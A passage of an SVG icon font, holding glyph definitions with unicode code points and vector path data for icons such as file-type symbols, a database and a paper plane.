q0 -25 17.5 -42.5t42.5 -17.5q7 0 37 8q122 33 251 33q279 0 488 -124q24 -13 38 -13q25 0 42.5 17.5t17.5 42.5zM1331 789q0 47 -40 70q-126 73 -293 110.5t-343 37.5q-204 0 -364 -47q-23 -7 -38.5 -25.5t-15.5 -48.5q0 -31 20.5 -52t51.5 -21q11 0 40 8q133 37 307 37
q159 0 309.5 -34t253.5 -95q21 -12 40 -12q29 0 50.5 20.5t21.5 51.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_418" unicode="&#xf1bd;" horiz-adv-x="1024" 
d="M1024 1233l-303 -582l24 -31h279v-415h-507l-44 -30l-142 -273l-30 -30h-301v303l303 583l-24 30h-279v415h507l44 30l142 273l30 30h301v-303z" />
    <glyph glyph-name="_419" unicode="&#xf1be;" horiz-adv-x="2304" 
d="M784 164l16 241l-16 523q-1 10 -7.5 17t-16.5 7q-9 0 -16 -7t-7 -17l-14 -523l14 -241q1 -10 7.5 -16.5t15.5 -6.5q22 0 24 23zM1080 193l11 211l-12 586q0 16 -13 24q-8 5 -16 5t-16 -5q-13 -8 -13 -24l-1 -6l-10 -579q0 -1 11 -236v-1q0 -10 6 -17q9 -11 23 -11
q11 0 20 9q9 7 9 20zM35 533l20 -128l-20 -126q-2 -9 -9 -9t-9 9l-17 126l17 128q2 9 9 9t9 -9zM121 612l26 -207l-26 -203q-2 -9 -10 -9q-9 0 -9 10l-23 202l23 207q0 9 9 9q8 0 10 -9zM401 159zM213 650l25 -245l-25 -237q0 -11 -11 -11q-10 0 -12 11l-21 237l21 245
q2 12 12 12q11 0 11 -12zM307 657l23 -252l-23 -244q-2 -13 -14 -13q-13 0 -13 13l-21 244l21 252q0 13 13 13q12 0 14 -13zM401 639l21 -234l-21 -246q-2 -16 -16 -16q-6 0 -10.5 4.5t-4.5 11.5l-20 246l20 234q0 6 4.5 10.5t10.5 4.5q14 0 16 -15zM784 164zM495 785
l21 -380l-21 -246q0 -7 -5 -12.5t-12 -5.5q-16 0 -18 18l-18 246l18 380q2 18 18 18q7 0 12 -5.5t5 -12.5zM589 871l19 -468l-19 -244q0 -8 -5.5 -13.5t-13.5 -5.5q-18 0 -20 19l-16 244l16 468q2 19 20 19q8 0 13.5 -5.5t5.5 -13.5zM687 911l18 -506l-18 -242
q-2 -21 -22 -21q-19 0 -21 21l-16 242l16 506q0 9 6.5 15.5t14.5 6.5q9 0 15 -6.5t7 -15.5zM1079 169v0v0v0zM881 915l15 -510l-15 -239q0 -10 -7.5 -17.5t-17.5 -7.5t-17 7t-8 18l-14 239l14 510q0 11 7.5 18t17.5 7t17.5 -7t7.5 -18zM980 896l14 -492l-14 -236
q0 -11 -8 -19t-19 -8t-19 8t-9 19l-12 236l12 492q1 12 9 20t19 8t18.5 -8t8.5 -20zM1192 404l-14 -231v0q0 -13 -9 -22t-22 -9t-22 9t-10 22l-6 114l-6 117l12 636v3q2 15 12 24q9 7 20 7q8 0 15 -5q14 -8 16 -26zM2304 423q0 -117 -83 -199.5t-200 -82.5h-786
q-13 2 -22 11t-9 22v899q0 23 28 33q85 34 181 34q195 0 338 -131.5t160 -323.5q53 22 110 22q117 0 200 -83t83 -201z" />
    <glyph glyph-name="uniF1C0" unicode="&#xf1c0;" 
d="M768 768q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 0q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127
t443 -43zM768 384q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 1536q208 0 385 -34.5t280 -93.5t103 -128v-128q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5
t-103 128v128q0 69 103 128t280 93.5t385 34.5z" />
    <glyph glyph-name="uniF1C1" unicode="&#xf1c1;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M894 465q33 -26 84 -56q59 7 117 7q147 0 177 -49q16 -22 2 -52q0 -1 -1 -2l-2 -2v-1q-6 -38 -71 -38q-48 0 -115 20t-130 53q-221 -24 -392 -83q-153 -262 -242 -262q-15 0 -28 7l-24 12q-1 1 -6 5q-10 10 -6 36q9 40 56 91.5t132 96.5q14 9 23 -6q2 -2 2 -4q52 85 107 197
q68 136 104 262q-24 82 -30.5 159.5t6.5 127.5q11 40 42 40h21h1q23 0 35 -15q18 -21 9 -68q-2 -6 -4 -8q1 -3 1 -8v-30q-2 -123 -14 -192q55 -164 146 -238zM318 54q52 24 137 158q-51 -40 -87.5 -84t-49.5 -74zM716 974q-15 -42 -2 -132q1 7 7 44q0 3 7 43q1 4 4 8
q-1 1 -1 2q-1 2 -1 3q-1 22 -13 36q0 -1 -1 -2v-2zM592 313q135 54 284 81q-2 1 -13 9.5t-16 13.5q-76 67 -127 176q-27 -86 -83 -197q-30 -56 -45 -83zM1238 329q-24 24 -140 24q76 -28 124 -28q14 0 18 1q0 1 -2 3z" />
    <glyph glyph-name="_422" unicode="&#xf1c2;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M233 768v-107h70l164 -661h159l128 485q7 20 10 46q2 16 2 24h4l3 -24q1 -3 3.5 -20t5.5 -26l128 -485h159l164 661h70v107h-300v-107h90l-99 -438q-5 -20 -7 -46l-2 -21h-4q0 3 -0.5 6.5t-1.5 8t-1 6.5q-1 5 -4 21t-5 25l-144 545h-114l-144 -545q-2 -9 -4.5 -24.5
t-3.5 -21.5l-4 -21h-4l-2 21q-2 26 -7 46l-99 438h90v107h-300z" />
    <glyph glyph-name="_423" unicode="&#xf1c3;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M429 106v-106h281v106h-75l103 161q5 7 10 16.5t7.5 13.5t3.5 4h2q1 -4 5 -10q2 -4 4.5 -7.5t6 -8t6.5 -8.5l107 -161h-76v-106h291v106h-68l-192 273l195 282h67v107h-279v-107h74l-103 -159q-4 -7 -10 -16.5t-9 -13.5l-2 -3h-2q-1 4 -5 10q-6 11 -17 23l-106 159h76v107
h-290v-107h68l189 -272l-194 -283h-68z" />
    <glyph glyph-name="_424" unicode="&#xf1c4;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M416 106v-106h327v106h-93v167h137q76 0 118 15q67 23 106.5 87t39.5 146q0 81 -37 141t-100 87q-48 19 -130 19h-368v-107h92v-555h-92zM769 386h-119v268h120q52 0 83 -18q56 -33 56 -115q0 -89 -62 -120q-31 -15 -78 -15z" />
    <glyph glyph-name="_425" unicode="&#xf1c5;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M1280 320v-320h-1024v192l192 192l128 -128l384 384zM448 512q-80 0 -136 56t-56 136t56 136t136 56t136 -56t56 -136t-56 -136t-136 -56z" />
    <glyph glyph-name="_426" unicode="&#xf1c6;" 
d="M640 1152v128h-128v-128h128zM768 1024v128h-128v-128h128zM640 896v128h-128v-128h128zM768 768v128h-128v-128h128zM1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400
v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-128v-128h-128v128h-512v-1536h1280zM781 593l107 -349q8 -27 8 -52q0 -83 -72.5 -137.5t-183.5 -54.5t-183.5 54.5t-72.5 137.5q0 25 8 52q21 63 120 396v128h128v-128h79
q22 0 39 -13t23 -34zM640 128q53 0 90.5 19t37.5 45t-37.5 45t-90.5 19t-90.5 -19t-37.5 -45t37.5 -45t90.5 -19z" />
    <glyph glyph-name="_427" unicode="&#xf1c7;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M620 686q20 -8 20 -30v-544q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-166 167h-131q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h131l166 167q16 15 35 7zM1037 -3q31 0 50 24q129 159 129 363t-129 363q-16 21 -43 24t-47 -14q-21 -17 -23.5 -43.5t14.5 -47.5
q100 -123 100 -282t-100 -282q-17 -21 -14.5 -47.5t23.5 -42.5q18 -15 40 -15zM826 145q27 0 47 20q87 93 87 219t-87 219q-18 19 -45 20t-46 -17t-20 -44.5t18 -46.5q52 -57 52 -131t-52 -131q-19 -20 -18 -46.5t20 -44.5q20 -17 44 -17z" />
    <glyph glyph-name="_428" unicode="&#xf1c8;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M768 768q52 0 90 -38t38 -90v-384q0 -52 -38 -90t-90 -38h-384q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h384zM1260 766q20 -8 20 -30v-576q0 -22 -20 -30q-8 -2 -12 -2q-14 0 -23 9l-265 266v90l265 266q9 9 23 9q4 0 12 -2z" />
    <glyph glyph-name="_429" unicode="&#xf1c9;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M480 768q8 11 21 12.5t24 -6.5l51 -38q11 -8 12.5 -21t-6.5 -24l-182 -243l182 -243q8 -11 6.5 -24t-12.5 -21l-51 -38q-11 -8 -24 -6.5t-21 12.5l-226 301q-14 19 0 38zM1282 467q14 -19 0 -38l-226 -301q-8 -11 -21 -12.5t-24 6.5l-51 38q-11 8 -12.5 21t6.5 24l182 243
l-182 243q-8 11 -6.5 24t12.5 21l51 38q11 8 24 6.5t21 -12.5zM662 6q-13 2 -20.5 13t-5.5 24l138 831q2 13 13 20.5t24 5.5l63 -10q13 -2 20.5 -13t5.5 -24l-138 -831q-2 -13 -13 -20.5t-24 -5.5z" />
    <glyph glyph-name="_430" unicode="&#xf1ca;" 
d="M1497 709v-198q-101 -23 -198 -23q-65 -136 -165.5 -271t-181.5 -215.5t-128 -106.5q-80 -45 -162 3q-28 17 -60.5 43.5t-85 83.5t-102.5 128.5t-107.5 184t-105.5 244t-91.5 314.5t-70.5 390h283q26 -218 70 -398.5t104.5 -317t121.5 -235.5t140 -195q169 169 287 406
q-142 72 -223 220t-81 333q0 192 104 314.5t284 122.5q178 0 273 -105.5t95 -297.5q0 -159 -58 -286q-7 -1 -19.5 -3t-46 -2t-63 6t-62 25.5t-50.5 51.5q31 103 31 184q0 87 -29 132t-79 45q-53 0 -85 -49.5t-32 -140.5q0 -186 105 -293.5t267 -107.5q62 0 121 14z" />
    <glyph glyph-name="_431" unicode="&#xf1cb;" horiz-adv-x="1792" 
d="M216 367l603 -402v359l-334 223zM154 511l193 129l-193 129v-258zM973 -35l603 402l-269 180l-334 -223v-359zM896 458l272 182l-272 182l-272 -182zM485 733l334 223v359l-603 -402zM1445 640l193 -129v258zM1307 733l269 180l-603 402v-359zM1792 913v-546
q0 -41 -34 -64l-819 -546q-21 -13 -43 -13t-43 13l-819 546q-34 23 -34 64v546q0 41 34 64l819 546q21 13 43 13t43 -13l819 -546q34 -23 34 -64z" />
    <glyph glyph-name="_432" unicode="&#xf1cc;" horiz-adv-x="2048" 
d="M1800 764q111 -46 179.5 -145.5t68.5 -221.5q0 -164 -118 -280.5t-285 -116.5q-4 0 -11.5 0.5t-10.5 0.5h-1209h-1h-2h-5q-170 10 -288 125.5t-118 280.5q0 110 55 203t147 147q-12 39 -12 82q0 115 82 196t199 81q95 0 172 -58q75 154 222.5 248t326.5 94
q166 0 306 -80.5t221.5 -218.5t81.5 -301q0 -6 -0.5 -18t-0.5 -18zM468 498q0 -122 84 -193t208 -71q137 0 240 99q-16 20 -47.5 56.5t-43.5 50.5q-67 -65 -144 -65q-55 0 -93.5 33.5t-38.5 87.5q0 53 38.5 87t91.5 34q44 0 84.5 -21t73 -55t65 -75t69 -82t77 -75t97 -55
t121.5 -21q121 0 204.5 71.5t83.5 190.5q0 121 -84 192t-207 71q-143 0 -241 -97l93 -108q66 64 142 64q52 0 92 -33t40 -84q0 -57 -37 -91.5t-94 -34.5q-43 0 -82.5 21t-72 55t-65.5 75t-69.5 82t-77.5 75t-96.5 55t-118.5 21q-122 0 -207 -70.5t-85 -189.5z" />
    <glyph glyph-name="_433" unicode="&#xf1cd;" horiz-adv-x="1792" 
d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 1408q-190 0 -361 -90l194 -194q82 28 167 28t167 -28l194 194q-171 90 -361 90zM218 279l194 194
q-28 82 -28 167t28 167l-194 194q-90 -171 -90 -361t90 -361zM896 -128q190 0 361 90l-194 194q-82 -28 -167 -28t-167 28l-194 -194q171 -90 361 -90zM896 256q159 0 271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5
t271.5 -112.5zM1380 473l194 -194q90 171 90 361t-90 361l-194 -194q28 -82 28 -167t-28 -167z" />
    <glyph glyph-name="_434" unicode="&#xf1ce;" horiz-adv-x="1792" 
d="M1760 640q0 -176 -68.5 -336t-184 -275.5t-275.5 -184t-336 -68.5t-336 68.5t-275.5 184t-184 275.5t-68.5 336q0 213 97 398.5t265 305.5t374 151v-228q-221 -45 -366.5 -221t-145.5 -406q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5
t136.5 204t51 248.5q0 230 -145.5 406t-366.5 221v228q206 -31 374 -151t265 -305.5t97 -398.5z" />
    <glyph glyph-name="uniF1D0" unicode="&#xf1d0;" horiz-adv-x="1792" 
d="M19 662q8 217 116 406t305 318h5q0 -1 -1 -3q-8 -8 -28 -33.5t-52 -76.5t-60 -110.5t-44.5 -135.5t-14 -150.5t39 -157.5t108.5 -154q50 -50 102 -69.5t90.5 -11.5t69.5 23.5t47 32.5l16 16q39 51 53 116.5t6.5 122.5t-21 107t-26.5 80l-14 29q-10 25 -30.5 49.5t-43 41
t-43.5 29.5t-35 19l-13 6l104 115q39 -17 78 -52t59 -61l19 -27q1 48 -18.5 103.5t-40.5 87.5l-20 31l161 183l160 -181q-33 -46 -52.5 -102.5t-22.5 -90.5l-4 -33q22 37 61.5 72.5t67.5 52.5l28 17l103 -115q-44 -14 -85 -50t-60 -65l-19 -29q-31 -56 -48 -133.5t-7 -170
t57 -156.5q33 -45 77.5 -60.5t85 -5.5t76 26.5t57.5 33.5l21 16q60 53 96.5 115t48.5 121.5t10 121.5t-18 118t-37 107.5t-45.5 93t-45 72t-34.5 47.5l-13 17q-14 13 -7 13l10 -3q40 -29 62.5 -46t62 -50t64 -58t58.5 -65t55.5 -77t45.5 -88t38 -103t23.5 -117t10.5 -136
q3 -259 -108 -465t-312 -321t-456 -115q-185 0 -351 74t-283.5 198t-184 293t-60.5 353z" />
    <glyph glyph-name="uniF1D1" unicode="&#xf1d1;" horiz-adv-x="1792" 
d="M874 -102v-66q-208 6 -385 109.5t-283 275.5l58 34q29 -49 73 -99l65 57q148 -168 368 -212l-17 -86q65 -12 121 -13zM276 428l-83 -28q22 -60 49 -112l-57 -33q-98 180 -98 385t98 385l57 -33q-30 -56 -49 -112l82 -28q-35 -100 -35 -212q0 -109 36 -212zM1528 251
l58 -34q-106 -172 -283 -275.5t-385 -109.5v66q56 1 121 13l-17 86q220 44 368 212l65 -57q44 50 73 99zM1377 805l-233 -80q14 -42 14 -85t-14 -85l232 -80q-31 -92 -98 -169l-185 162q-57 -67 -147 -85l48 -241q-52 -10 -98 -10t-98 10l48 241q-90 18 -147 85l-185 -162
q-67 77 -98 169l232 80q-14 42 -14 85t14 85l-233 80q33 93 99 169l185 -162q59 68 147 86l-48 240q44 10 98 10t98 -10l-48 -240q88 -18 147 -86l185 162q66 -76 99 -169zM874 1448v-66q-65 -2 -121 -13l17 -86q-220 -42 -368 -211l-65 56q-38 -42 -73 -98l-57 33
q106 172 282 275.5t385 109.5zM1705 640q0 -205 -98 -385l-57 33q27 52 49 112l-83 28q36 103 36 212q0 112 -35 212l82 28q-19 56 -49 112l57 33q98 -180 98 -385zM1585 1063l-57 -33q-35 56 -73 98l-65 -56q-148 169 -368 211l17 86q-56 11 -121 13v66q209 -6 385 -109.5
t282 -275.5zM1748 640q0 173 -67.5 331t-181.5 272t-272 181.5t-331 67.5t-331 -67.5t-272 -181.5t-181.5 -272t-67.5 -331t67.5 -331t181.5 -272t272 -181.5t331 -67.5t331 67.5t272 181.5t181.5 272t67.5 331zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF1D2" unicode="&#xf1d2;" 
d="M582 228q0 -66 -93 -66q-107 0 -107 63q0 64 98 64q102 0 102 -61zM546 694q0 -85 -74 -85q-77 0 -77 84q0 90 77 90q36 0 55 -25.5t19 -63.5zM712 769v125q-78 -29 -135 -29q-50 29 -110 29q-86 0 -145 -57t-59 -143q0 -50 29.5 -102t73.5 -67v-3q-38 -17 -38 -85
q0 -53 41 -77v-3q-113 -37 -113 -139q0 -45 20 -78.5t54 -51t72 -25.5t81 -8q224 0 224 188q0 67 -48 99t-126 46q-27 5 -51.5 20.5t-24.5 39.5q0 44 49 52q77 15 122 70t45 134q0 24 -10 52q37 9 49 13zM771 350h137q-2 27 -2 82v387q0 46 2 69h-137q3 -23 3 -71v-392
q0 -50 -3 -75zM1280 366v121q-30 -21 -68 -21q-53 0 -53 82v225h52q9 0 26.5 -1t26.5 -1v117h-105q0 82 3 102h-140q4 -24 4 -55v-47h-60v-117q36 3 37 3q3 0 11 -0.5t12 -0.5v-2h-2v-217q0 -37 2.5 -64t11.5 -56.5t24.5 -48.5t43.5 -31t66 -12q64 0 108 24zM924 1072
q0 36 -24 63.5t-60 27.5t-60.5 -27t-24.5 -64q0 -36 25 -62.5t60 -26.5t59.5 27t24.5 62zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_438" unicode="&#xf1d3;" horiz-adv-x="1792" 
d="M595 22q0 100 -165 100q-158 0 -158 -104q0 -101 172 -101q151 0 151 105zM536 777q0 61 -30 102t-89 41q-124 0 -124 -145q0 -135 124 -135q119 0 119 137zM805 1101v-202q-36 -12 -79 -22q16 -43 16 -84q0 -127 -73 -216.5t-197 -112.5q-40 -8 -59.5 -27t-19.5 -58
q0 -31 22.5 -51.5t58 -32t78.5 -22t86 -25.5t78.5 -37.5t58 -64t22.5 -98.5q0 -304 -363 -304q-69 0 -130 12.5t-116 41t-87.5 82t-32.5 127.5q0 165 182 225v4q-67 41 -67 126q0 109 63 137v4q-72 24 -119.5 108.5t-47.5 165.5q0 139 95 231.5t235 92.5q96 0 178 -47
q98 0 218 47zM1123 220h-222q4 45 4 134v609q0 94 -4 128h222q-4 -33 -4 -124v-613q0 -89 4 -134zM1724 442v-196q-71 -39 -174 -39q-62 0 -107 20t-70 50t-39.5 78t-18.5 92t-4 103v351h2v4q-7 0 -19 1t-18 1q-21 0 -59 -6v190h96v76q0 54 -6 89h227q-6 -41 -6 -165h171
v-190q-15 0 -43.5 2t-42.5 2h-85v-365q0 -131 87 -131q61 0 109 33zM1148 1389q0 -58 -39 -101.5t-96 -43.5q-58 0 -98 43.5t-40 101.5q0 59 39.5 103t98.5 44q58 0 96.5 -44.5t38.5 -102.5z" />
    <glyph glyph-name="_439" unicode="&#xf1d4;" 
d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF1D5" unicode="&#xf1d5;" horiz-adv-x="1280" 
d="M842 964q0 -80 -57 -136.5t-136 -56.5q-60 0 -111 35q-62 -67 -115 -146q-247 -371 -202 -859q1 -22 -12.5 -38.5t-34.5 -18.5h-5q-20 0 -35 13.5t-17 33.5q-14 126 -3.5 247.5t29.5 217t54 186t69 155.5t74 125q61 90 132 165q-16 35 -16 77q0 80 56.5 136.5t136.5 56.5
t136.5 -56.5t56.5 -136.5zM1223 953q0 -158 -78 -292t-212.5 -212t-292.5 -78q-64 0 -131 14q-21 5 -32.5 23.5t-6.5 39.5q5 20 23 31.5t39 7.5q51 -13 108 -13q97 0 186 38t153 102t102 153t38 186t-38 186t-102 153t-153 102t-186 38t-186 -38t-153 -102t-102 -153
t-38 -186q0 -114 52 -218q10 -20 3.5 -40t-25.5 -30t-39.5 -3t-30.5 26q-64 123 -64 265q0 119 46.5 227t124.5 186t186 124t226 46q158 0 292.5 -78t212.5 -212.5t78 -292.5z" />
    <glyph glyph-name="uniF1D6" unicode="&#xf1d6;" horiz-adv-x="1792" 
d="M270 730q-8 19 -8 52q0 20 11 49t24 45q-1 22 7.5 53t22.5 43q0 139 92.5 288.5t217.5 209.5q139 66 324 66q133 0 266 -55q49 -21 90 -48t71 -56t55 -68t42 -74t32.5 -84.5t25.5 -89.5t22 -98l1 -5q55 -83 55 -150q0 -14 -9 -40t-9 -38q0 -1 1.5 -3.5t3.5 -5t2 -3.5
q77 -114 120.5 -214.5t43.5 -208.5q0 -43 -19.5 -100t-55.5 -57q-9 0 -19.5 7.5t-19 17.5t-19 26t-16 26.5t-13.5 26t-9 17.5q-1 1 -3 1l-5 -4q-59 -154 -132 -223q20 -20 61.5 -38.5t69 -41.5t35.5 -65q-2 -4 -4 -16t-7 -18q-64 -97 -302 -97q-53 0 -110.5 9t-98 20
t-104.5 30q-15 5 -23 7q-14 4 -46 4.5t-40 1.5q-41 -45 -127.5 -65t-168.5 -20q-35 0 -69 1.5t-93 9t-101 20.5t-74.5 40t-32.5 64q0 40 10 59.5t41 48.5q11 2 40.5 13t49.5 12q4 0 14 2q2 2 2 4l-2 3q-48 11 -108 105.5t-73 156.5l-5 3q-4 0 -12 -20q-18 -41 -54.5 -74.5
t-77.5 -37.5h-1q-4 0 -6 4.5t-5 5.5q-23 54 -23 100q0 275 252 466z" />
    <glyph glyph-name="uniF1D7" unicode="&#xf1d7;" horiz-adv-x="2048" 
d="M580 1075q0 41 -25 66t-66 25q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 66 24.5t25 65.5zM1323 568q0 28 -25.5 50t-65.5 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q40 0 65.5 22t25.5 51zM1087 1075q0 41 -24.5 66t-65.5 25
q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 65.5 24.5t24.5 65.5zM1722 568q0 28 -26 50t-65 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q39 0 65 22t26 51zM1456 965q-31 4 -70 4q-169 0 -311 -77t-223.5 -208.5t-81.5 -287.5
q0 -78 23 -152q-35 -3 -68 -3q-26 0 -50 1.5t-55 6.5t-44.5 7t-54.5 10.5t-50 10.5l-253 -127l72 218q-290 203 -290 490q0 169 97.5 311t264 223.5t363.5 81.5q176 0 332.5 -66t262 -182.5t136.5 -260.5zM2048 404q0 -117 -68.5 -223.5t-185.5 -193.5l55 -181l-199 109
q-150 -37 -218 -37q-169 0 -311 70.5t-223.5 191.5t-81.5 264t81.5 264t223.5 191.5t311 70.5q161 0 303 -70.5t227.5 -192t85.5 -263.5z" />
    <glyph glyph-name="_443" unicode="&#xf1d8;" horiz-adv-x="1792" 
d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-453 185l-242 -295q-18 -23 -49 -23q-13 0 -22 4q-19 7 -30.5 23.5t-11.5 36.5v349l864 1059l-1069 -925l-395 162q-37 14 -40 55q-2 40 32 59l1664 960q15 9 32 9q20 0 36 -11z" />
    <glyph glyph-name="_444" unicode="&#xf1d9;" horiz-adv-x="1792" 
d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-527 215l-298 -327q-18 -21 -47 -21q-14 0 -23 4q-19 7 -30 23.5t-11 36.5v452l-472 193q-37 14 -40 55q-3 39 32 59l1664 960q35 21 68 -2zM1422 26l221 1323l-1434 -827l336 -137
l863 639l-478 -797z" />
    <glyph glyph-name="_445" unicode="&#xf1da;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298zM896 928v-448q0 -14 -9 -23
t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_446" unicode="&#xf1db;" 
d="M768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_447" unicode="&#xf1dc;" horiz-adv-x="1792" 
d="M1682 -128q-44 0 -132.5 3.5t-133.5 3.5q-44 0 -132 -3.5t-132 -3.5q-24 0 -37 20.5t-13 45.5q0 31 17 46t39 17t51 7t45 15q33 21 33 140l-1 391q0 21 -1 31q-13 4 -50 4h-675q-38 0 -51 -4q-1 -10 -1 -31l-1 -371q0 -142 37 -164q16 -10 48 -13t57 -3.5t45 -15
t20 -45.5q0 -26 -12.5 -48t-36.5 -22q-47 0 -139.5 3.5t-138.5 3.5q-43 0 -128 -3.5t-127 -3.5q-23 0 -35.5 21t-12.5 45q0 30 15.5 45t36 17.5t47.5 7.5t42 15q33 23 33 143l-1 57v813q0 3 0.5 26t0 36.5t-1.5 38.5t-3.5 42t-6.5 36.5t-11 31.5t-16 18q-15 10 -45 12t-53 2
t-41 14t-18 45q0 26 12 48t36 22q46 0 138.5 -3.5t138.5 -3.5q42 0 126.5 3.5t126.5 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17 -43.5t-38.5 -14.5t-49.5 -4t-43 -13q-35 -21 -35 -160l1 -320q0 -21 1 -32q13 -3 39 -3h699q25 0 38 3q1 11 1 32l1 320q0 139 -35 160
